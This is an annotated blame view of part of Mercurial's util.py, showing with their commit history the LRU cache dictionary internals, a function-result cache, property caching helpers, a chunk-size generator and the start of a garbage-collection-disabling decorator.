diff changeset
1422 while n.key is _notset:
bd9d3a89f07b util: add a popoldest() method to lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 39565
diff changeset
1423 n = n.prev
bd9d3a89f07b util: add a popoldest() method to lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 39565
diff changeset
1424
bd9d3a89f07b util: add a popoldest() method to lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 39565
diff changeset
1425 key, value = n.key, n.value
bd9d3a89f07b util: add a popoldest() method to lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 39565
diff changeset
1426
bd9d3a89f07b util: add a popoldest() method to lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 39565
diff changeset
1427 # And remove it from the cache and mark it as empty.
bd9d3a89f07b util: add a popoldest() method to lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 39565
diff changeset
1428 del self._cache[n.key]
39567
ee087f0d7db5 util: allow lrucachedict to track cost of entries
Gregory Szorc <gregory.szorc@gmail.com>
parents: 39566
diff changeset
1429 self.totalcost -= n.cost
39566
bd9d3a89f07b util: add a popoldest() method to lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 39565
diff changeset
1430 n.markempty()
bd9d3a89f07b util: add a popoldest() method to lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 39565
diff changeset
1431
bd9d3a89f07b util: add a popoldest() method to lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 39565
diff changeset
1432 return key, value
bd9d3a89f07b util: add a popoldest() method to lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 39565
diff changeset
1433
27371
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1434 def _movetohead(self, node):
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1435 """Mark a node as the newest, making it the new head.
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1436
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1437 When a node is accessed, it becomes the freshest entry in the LRU
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1438 list, which is denoted by self._head.
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1439
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1440 Visually, let's make ``N`` the new head node (* denotes head):
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1441
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1442 previous/oldest <-> head <-> next/next newest
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1443
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1444 ----<->--- A* ---<->-----
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1445 | |
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1446 E <-> D <-> N <-> C <-> B
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1447
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1448 To:
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1449
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1450 ----<->--- N* ---<->-----
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1451 | |
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1452 E <-> D <-> C <-> B <-> A
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1453
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1454 This requires the following moves:
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1455
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1456 C.next = D (node.prev.next = node.next)
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1457 D.prev = C (node.next.prev = node.prev)
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1458 E.next = N (head.prev.next = node)
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1459 N.prev = E (node.prev = head.prev)
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1460 N.next = A (node.next = head)
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1461 A.prev = N (head.prev = node)
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1462 """
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1463 head = self._head
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1464 # C.next = D
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1465 node.prev.next = node.next
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1466 # D.prev = C
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1467 node.next.prev = node.prev
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1468 # N.prev = E
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1469 node.prev = head.prev
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1470 # N.next = A
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1471 # It is tempting to do just "head" here, however if node is
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1472 # adjacent to head, this will do bad things.
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1473 node.next = head.prev.next
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1474 # E.next = N
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1475 node.next.prev = node
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1476 # A.prev = N
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1477 node.prev.next = node
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1478
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1479 self._head = node
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1480
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1481 def _addcapacity(self):
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1482 """Add a node to the circular linked list.
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1483
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1484 The new node is inserted before the head node.
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1485 """
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1486 head = self._head
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1487 node = _lrucachenode()
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1488 head.prev.next = node
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1489 node.prev = head.prev
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1490 node.next = head
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1491 head.prev = node
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1492 self._size += 1
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1493 return node
19710
887ffa22fd0d lrucachedict: implement clear()
Siddharth Agarwal <sid0@fb.com>
parents: 19461
diff changeset
1494
39568
842cd0bdda75 util: teach lrucachedict to enforce a max total cost
Gregory Szorc <gregory.szorc@gmail.com>
parents: 39567
diff changeset
1495 def _enforcecostlimit(self):
842cd0bdda75 util: teach lrucachedict to enforce a max total cost
Gregory Szorc <gregory.szorc@gmail.com>
parents: 39567
diff changeset
1496 # This should run after an insertion. It should only be called if total
842cd0bdda75 util: teach lrucachedict to enforce a max total cost
Gregory Szorc <gregory.szorc@gmail.com>
parents: 39567
diff changeset
1497 # cost limits are being enforced.
842cd0bdda75 util: teach lrucachedict to enforce a max total cost
Gregory Szorc <gregory.szorc@gmail.com>
parents: 39567
diff changeset
1498 # The most recently inserted node is never evicted.
39569
cc23c09bc562 util: optimize cost auditing on insert
Gregory Szorc <gregory.szorc@gmail.com>
parents: 39568
diff changeset
1499 if len(self) <= 1 or self.totalcost <= self.maxcost:
cc23c09bc562 util: optimize cost auditing on insert
Gregory Szorc <gregory.szorc@gmail.com>
parents: 39568
diff changeset
1500 return
cc23c09bc562 util: optimize cost auditing on insert
Gregory Szorc <gregory.szorc@gmail.com>
parents: 39568
diff changeset
1501
cc23c09bc562 util: optimize cost auditing on insert
Gregory Szorc <gregory.szorc@gmail.com>
parents: 39568
diff changeset
1502 # This is logically equivalent to calling popoldest() until we
cc23c09bc562 util: optimize cost auditing on insert
Gregory Szorc <gregory.szorc@gmail.com>
parents: 39568
diff changeset
1503 # free up enough cost. We don't do that since popoldest() needs
cc23c09bc562 util: optimize cost auditing on insert
Gregory Szorc <gregory.szorc@gmail.com>
parents: 39568
diff changeset
1504 # to walk the linked list and doing this in a loop would be
cc23c09bc562 util: optimize cost auditing on insert
Gregory Szorc <gregory.szorc@gmail.com>
parents: 39568
diff changeset
1505 # quadratic. So we find the first non-empty node and then
cc23c09bc562 util: optimize cost auditing on insert
Gregory Szorc <gregory.szorc@gmail.com>
parents: 39568
diff changeset
1506 # walk nodes until we free up enough capacity.
39570
f296c0b366c8 util: lower water mark when removing nodes after cost limit reached
Gregory Szorc <gregory.szorc@gmail.com>
parents: 39569
diff changeset
1507 #
f296c0b366c8 util: lower water mark when removing nodes after cost limit reached
Gregory Szorc <gregory.szorc@gmail.com>
parents: 39569
diff changeset
1508 # If we only removed the minimum number of nodes to free enough
f296c0b366c8 util: lower water mark when removing nodes after cost limit reached
Gregory Szorc <gregory.szorc@gmail.com>
parents: 39569
diff changeset
1509 # cost at insert time, chances are high that the next insert would
f296c0b366c8 util: lower water mark when removing nodes after cost limit reached
Gregory Szorc <gregory.szorc@gmail.com>
parents: 39569
diff changeset
1510 # also require pruning. This would effectively constitute quadratic
f296c0b366c8 util: lower water mark when removing nodes after cost limit reached
Gregory Szorc <gregory.szorc@gmail.com>
parents: 39569
diff changeset
1511 # behavior for insert-heavy workloads. To mitigate this, we set a
f296c0b366c8 util: lower water mark when removing nodes after cost limit reached
Gregory Szorc <gregory.szorc@gmail.com>
parents: 39569
diff changeset
1512 # target cost that is a percentage of the max cost. This will tend
f296c0b366c8 util: lower water mark when removing nodes after cost limit reached
Gregory Szorc <gregory.szorc@gmail.com>
parents: 39569
diff changeset
1513 # to free more nodes when the high water mark is reached, which
f296c0b366c8 util: lower water mark when removing nodes after cost limit reached
Gregory Szorc <gregory.szorc@gmail.com>
parents: 39569
diff changeset
1514 # lowers the chances of needing to prune on the subsequent insert.
f296c0b366c8 util: lower water mark when removing nodes after cost limit reached
Gregory Szorc <gregory.szorc@gmail.com>
parents: 39569
diff changeset
1515 targetcost = int(self.maxcost * 0.75)
f296c0b366c8 util: lower water mark when removing nodes after cost limit reached
Gregory Szorc <gregory.szorc@gmail.com>
parents: 39569
diff changeset
1516
39569
cc23c09bc562 util: optimize cost auditing on insert
Gregory Szorc <gregory.szorc@gmail.com>
parents: 39568
diff changeset
1517 n = self._head.prev
cc23c09bc562 util: optimize cost auditing on insert
Gregory Szorc <gregory.szorc@gmail.com>
parents: 39568
diff changeset
1518 while n.key is _notset:
cc23c09bc562 util: optimize cost auditing on insert
Gregory Szorc <gregory.szorc@gmail.com>
parents: 39568
diff changeset
1519 n = n.prev
cc23c09bc562 util: optimize cost auditing on insert
Gregory Szorc <gregory.szorc@gmail.com>
parents: 39568
diff changeset
1520
39570
f296c0b366c8 util: lower water mark when removing nodes after cost limit reached
Gregory Szorc <gregory.szorc@gmail.com>
parents: 39569
diff changeset
1521 while len(self) > 1 and self.totalcost > targetcost:
39569
cc23c09bc562 util: optimize cost auditing on insert
Gregory Szorc <gregory.szorc@gmail.com>
parents: 39568
diff changeset
1522 del self._cache[n.key]
cc23c09bc562 util: optimize cost auditing on insert
Gregory Szorc <gregory.szorc@gmail.com>
parents: 39568
diff changeset
1523 self.totalcost -= n.cost
cc23c09bc562 util: optimize cost auditing on insert
Gregory Szorc <gregory.szorc@gmail.com>
parents: 39568
diff changeset
1524 n.markempty()
cc23c09bc562 util: optimize cost auditing on insert
Gregory Szorc <gregory.szorc@gmail.com>
parents: 39568
diff changeset
1525 n = n.prev
39568
842cd0bdda75 util: teach lrucachedict to enforce a max total cost
Gregory Szorc <gregory.szorc@gmail.com>
parents: 39567
diff changeset
1526
9097
431462bd8478 fix memory usage of revlog caches by limiting cache size [issue1639]
Matt Mackall <mpm@selenic.com>
parents: 9089
diff changeset
1527 def lrucachefunc(func):
431462bd8478 fix memory usage of revlog caches by limiting cache size [issue1639]
Matt Mackall <mpm@selenic.com>
parents: 9089
diff changeset
1528 '''cache most recent results of function calls'''
431462bd8478 fix memory usage of revlog caches by limiting cache size [issue1639]
Matt Mackall <mpm@selenic.com>
parents: 9089
diff changeset
1529 cache = {}
25113
0ca8410ea345 util: drop alias for collections.deque
Martin von Zweigbergk <martinvonz@google.com>
parents: 25112
diff changeset
1530 order = collections.deque()
28832
f5ff10f6fa6b util: use __code__ (available since py2.6)
timeless <timeless@mozdev.org>
parents: 28826
diff changeset
1531 if func.__code__.co_argcount == 1:
9097
431462bd8478 fix memory usage of revlog caches by limiting cache size [issue1639]
Matt Mackall <mpm@selenic.com>
parents: 9089
diff changeset
1532 def f(arg):
431462bd8478 fix memory usage of revlog caches by limiting cache size [issue1639]
Matt Mackall <mpm@selenic.com>
parents: 9089
diff changeset
1533 if arg not in cache:
431462bd8478 fix memory usage of revlog caches by limiting cache size [issue1639]
Matt Mackall <mpm@selenic.com>
parents: 9089
diff changeset
1534 if len(cache) > 20:
16803
107a3270a24a cleanup: use the deque type where appropriate
Bryan O'Sullivan <bryano@fb.com>
parents: 16769
diff changeset
1535 del cache[order.popleft()]
9097
431462bd8478 fix memory usage of revlog caches by limiting cache size [issue1639]
Matt Mackall <mpm@selenic.com>
parents: 9089
diff changeset
1536 cache[arg] = func(arg)
431462bd8478 fix memory usage of revlog caches by limiting cache size [issue1639]
Matt Mackall <mpm@selenic.com>
parents: 9089
diff changeset
1537 else:
431462bd8478 fix memory usage of revlog caches by limiting cache size [issue1639]
Matt Mackall <mpm@selenic.com>
parents: 9089
diff changeset
1538 order.remove(arg)
431462bd8478 fix memory usage of revlog caches by limiting cache size [issue1639]
Matt Mackall <mpm@selenic.com>
parents: 9089
diff changeset
1539 order.append(arg)
431462bd8478 fix memory usage of revlog caches by limiting cache size [issue1639]
Matt Mackall <mpm@selenic.com>
parents: 9089
diff changeset
1540 return cache[arg]
431462bd8478 fix memory usage of revlog caches by limiting cache size [issue1639]
Matt Mackall <mpm@selenic.com>
parents: 9089
diff changeset
1541 else:
431462bd8478 fix memory usage of revlog caches by limiting cache size [issue1639]
Matt Mackall <mpm@selenic.com>
parents: 9089
diff changeset
1542 def f(*args):
431462bd8478 fix memory usage of revlog caches by limiting cache size [issue1639]
Matt Mackall <mpm@selenic.com>
parents: 9089
diff changeset
1543 if args not in cache:
431462bd8478 fix memory usage of revlog caches by limiting cache size [issue1639]
Matt Mackall <mpm@selenic.com>
parents: 9089
diff changeset
1544 if len(cache) > 20:
16803
107a3270a24a cleanup: use the deque type where appropriate
Bryan O'Sullivan <bryano@fb.com>
parents: 16769
diff changeset
1545 del cache[order.popleft()]
9097
431462bd8478 fix memory usage of revlog caches by limiting cache size [issue1639]
Matt Mackall <mpm@selenic.com>
parents: 9089
diff changeset
1546 cache[args] = func(*args)
431462bd8478 fix memory usage of revlog caches by limiting cache size [issue1639]
Matt Mackall <mpm@selenic.com>
parents: 9089
diff changeset
1547 else:
431462bd8478 fix memory usage of revlog caches by limiting cache size [issue1639]
Matt Mackall <mpm@selenic.com>
parents: 9089
diff changeset
1548 order.remove(args)
431462bd8478 fix memory usage of revlog caches by limiting cache size [issue1639]
Matt Mackall <mpm@selenic.com>
parents: 9089
diff changeset
1549 order.append(args)
431462bd8478 fix memory usage of revlog caches by limiting cache size [issue1639]
Matt Mackall <mpm@selenic.com>
parents: 9089
diff changeset
1550 return cache[args]
431462bd8478 fix memory usage of revlog caches by limiting cache size [issue1639]
Matt Mackall <mpm@selenic.com>
parents: 9089
diff changeset
1551
431462bd8478 fix memory usage of revlog caches by limiting cache size [issue1639]
Matt Mackall <mpm@selenic.com>
parents: 9089
diff changeset
1552 return f
431462bd8478 fix memory usage of revlog caches by limiting cache size [issue1639]
Matt Mackall <mpm@selenic.com>
parents: 9089
diff changeset
1553
8207
dd8d5be57d65 util: take propertycache from context.py
Matt Mackall <mpm@selenic.com>
parents: 8181
diff changeset
1554 class propertycache(object):
dd8d5be57d65 util: take propertycache from context.py
Matt Mackall <mpm@selenic.com>
parents: 8181
diff changeset
1555 def __init__(self, func):
dd8d5be57d65 util: take propertycache from context.py
Matt Mackall <mpm@selenic.com>
parents: 8181
diff changeset
1556 self.func = func
dd8d5be57d65 util: take propertycache from context.py
Matt Mackall <mpm@selenic.com>
parents: 8181
diff changeset
1557 self.name = func.__name__
dd8d5be57d65 util: take propertycache from context.py
Matt Mackall <mpm@selenic.com>
parents: 8181
diff changeset
1558 def __get__(self, obj, type=None):
dd8d5be57d65 util: take propertycache from context.py
Matt Mackall <mpm@selenic.com>
parents: 8181
diff changeset
1559 result = self.func(obj)
18013
98c867ac1330 clfilter: add a propertycache that must be unfiltered
Pierre-Yves David <pierre-yves.david@logilab.fr>
parents: 17962
diff changeset
1560 self.cachevalue(obj, result)
8207
dd8d5be57d65 util: take propertycache from context.py
Matt Mackall <mpm@selenic.com>
parents: 8181
diff changeset
1561 return result
dd8d5be57d65 util: take propertycache from context.py
Matt Mackall <mpm@selenic.com>
parents: 8181
diff changeset
1562
18013
98c867ac1330 clfilter: add a propertycache that must be unfiltered
Pierre-Yves David <pierre-yves.david@logilab.fr>
parents: 17962
diff changeset
1563 def cachevalue(self, obj, value):
19951
d51c4d85ec23 spelling: random spell checker fixes
Mads Kiilerich <madski@unity3d.com>
parents: 19852
diff changeset
1564 # __dict__ assignment required to bypass __setattr__ (eg: repoview)
19845
a1237a4b437d repoview: make propertycache.setcache compatible with repoview
Pierre-Yves David <pierre-yves.david@ens-lyon.org>
parents: 19461
diff changeset
1565 obj.__dict__[self.name] = value
18013
98c867ac1330 clfilter: add a propertycache that must be unfiltered
Pierre-Yves David <pierre-yves.david@logilab.fr>
parents: 17962
diff changeset
1566
35014
be6aa0cff8ea util: add util.clearcachedproperty
Mark Thomas <mbthomas@fb.com>
parents: 34647
diff changeset
1567 def clearcachedproperty(obj, prop):
be6aa0cff8ea util: add util.clearcachedproperty
Mark Thomas <mbthomas@fb.com>
parents: 34647
diff changeset
1568 '''clear a cached property value, if one has been set'''
40689
475921a3028c py3: cast attribute name to sysstr in clearcachedproperty()
Yuya Nishihara <yuya@tcha.org>
parents: 40251
diff changeset
1569 prop = pycompat.sysstr(prop)
35014
be6aa0cff8ea util: add util.clearcachedproperty
Mark Thomas <mbthomas@fb.com>
parents: 34647
diff changeset
1570 if prop in obj.__dict__:
be6aa0cff8ea util: add util.clearcachedproperty
Mark Thomas <mbthomas@fb.com>
parents: 34647
diff changeset
1571 del obj.__dict__[prop]
be6aa0cff8ea util: add util.clearcachedproperty
Mark Thomas <mbthomas@fb.com>
parents: 34647
diff changeset
1572
7396
526c40a74bd0 templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents: 7301
diff changeset
1573 def increasingchunks(source, min=1024, max=65536):
526c40a74bd0 templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents: 7301
diff changeset
1574 '''return no less than min bytes per chunk while data remains,
526c40a74bd0 templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents: 7301
diff changeset
1575 doubling min after each chunk until it reaches max'''
526c40a74bd0 templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents: 7301
diff changeset
1576 def log2(x):
526c40a74bd0 templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents: 7301
diff changeset
1577 if not x:
526c40a74bd0 templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents: 7301
diff changeset
1578 return 0
526c40a74bd0 templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents: 7301
diff changeset
1579 i = 0
526c40a74bd0 templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents: 7301
diff changeset
1580 while x:
526c40a74bd0 templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents: 7301
diff changeset
1581 x >>= 1
526c40a74bd0 templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents: 7301
diff changeset
1582 i += 1
526c40a74bd0 templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents: 7301
diff changeset
1583 return i - 1
526c40a74bd0 templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents: 7301
diff changeset
1584
526c40a74bd0 templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents: 7301
diff changeset
1585 buf = []
526c40a74bd0 templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents: 7301
diff changeset
1586 blen = 0
526c40a74bd0 templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents: 7301
diff changeset
1587 for chunk in source:
526c40a74bd0 templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents: 7301
diff changeset
1588 buf.append(chunk)
526c40a74bd0 templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents: 7301
diff changeset
1589 blen += len(chunk)
526c40a74bd0 templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents: 7301
diff changeset
1590 if blen >= min:
526c40a74bd0 templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents: 7301
diff changeset
1591 if min < max:
526c40a74bd0 templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents: 7301
diff changeset
1592 min = min << 1
526c40a74bd0 templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents: 7301
diff changeset
1593 nmin = 1 << log2(blen)
526c40a74bd0 templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents: 7301
diff changeset
1594 if nmin > min:
526c40a74bd0 templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents: 7301
diff changeset
1595 min = nmin
526c40a74bd0 templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents: 7301
diff changeset
1596 if min > max:
526c40a74bd0 templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents: 7301
diff changeset
1597 min = max
526c40a74bd0 templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents: 7301
diff changeset
1598 yield ''.join(buf)
526c40a74bd0 templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents: 7301
diff changeset
1599 blen = 0
526c40a74bd0 templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents: 7301
diff changeset
1600 buf = []
526c40a74bd0 templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents: 7301
diff changeset
1601 if buf:
526c40a74bd0 templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents: 7301
diff changeset
1602 yield ''.join(buf)
526c40a74bd0 templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents: 7301
diff changeset
1603
10282
08a0f04b56bd many, many trivial check-code fixups
Matt Mackall <mpm@selenic.com>
parents: 10264
diff changeset
1604 def always(fn):
08a0f04b56bd many, many trivial check-code fixups
Matt Mackall <mpm@selenic.com>
parents: 10264
diff changeset
1605 return True
08a0f04b56bd many, many trivial check-code fixups
Matt Mackall <mpm@selenic.com>
parents: 10264
diff changeset
1606
08a0f04b56bd many, many trivial check-code fixups
Matt Mackall <mpm@selenic.com>
parents: 10264
diff changeset
1607 def never(fn):
08a0f04b56bd many, many trivial check-code fixups
Matt Mackall <mpm@selenic.com>
parents: 10264
diff changeset
1608 return False
724
1c0c413cccdd Get add and locate to use new repo and dirstate walk code.
Bryan O'Sullivan <bos@serpentine.com>
parents: 705
diff changeset
1609
23495
b25f07cb5399 util: add a 'nogc' decorator to disable the garbage collection
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 23370
diff changeset
1610 def nogc(func):
b25f07cb5399 util: add a 'nogc' decorator to disable the garbage collection
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 23370
diff changeset
1611 """disable garbage collector
b25f07cb5399 util: add a 'nogc' decorator to disable the garbage collection
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 23370
diff changeset
1612
b25f07cb5399 util: add a 'nogc' decorator to disable the garbage collection
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 23370
diff changeset
1613 Python's garbage collector triggers a GC each time a certain number of
b25f07cb5399 util: add a 'nogc' decorator to disable the garbage collection
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 23370
diff changeset
1614 container objects (the number being defined by gc.get_threshold()) are
b25f07cb5399 util: add a 'nogc' decorator to disable the garbage collection
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 23370
diff changeset
1615 allocated even when marked not to be tracked by the collector. Tracking has
b25f07cb5399 util: add a 'nogc' decorator to disable the garbage collection
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 23370
diff changeset
1616 no effect on when GCs are triggered, only on what objects the GC looks
23543
4dd8a6a1240d spelling: fixes from proofreading of spell checker issues
Mads Kiilerich <madski@unity3d.com>
parents: 23495
diff changeset
1617 into. As a workaround, disable GC while building complex (huge)
23495
b25f07cb5399 util: add a 'nogc' decorator to disable the garbage collection
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 23370
diff changeset
1618 containers.
b25f07cb5399 util: add a 'nogc' decorator to disable the garbage collection
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 23370
diff changeset
1619
33799
05264fc9d8d6 util: make nogc effective for CPython
Jun Wu <quark@fb.com>
parents: 33793
diff changeset
1620 This garbage collector issue have been fixed in 2.7. But it still affect
05264fc9d8d6 util: make nogc effective for CPython
Jun Wu <quark@fb.com>
parents: 33793
diff changeset
1621 CPython's performance.
23495
b25f07cb5399 util: add a 'nogc' decorator to disable the garbage collection
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 23370
diff changeset
1622 """
b25f07cb5399 util: add a 'nogc' decorator to disable the garbage collection
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 23370
diff changeset
1623 def wrapper(*args, **kwargs):
b25f07cb5399 util: add a 'nogc' decorator to disable the garbage collection
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 23370
diff changeset
1624 gcenabled = gc.isenabled()
b25f07cb5399 util: add a 'nogc' decorator to disable the garbage collection
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 23370
diff changeset
1625 gc.disable()
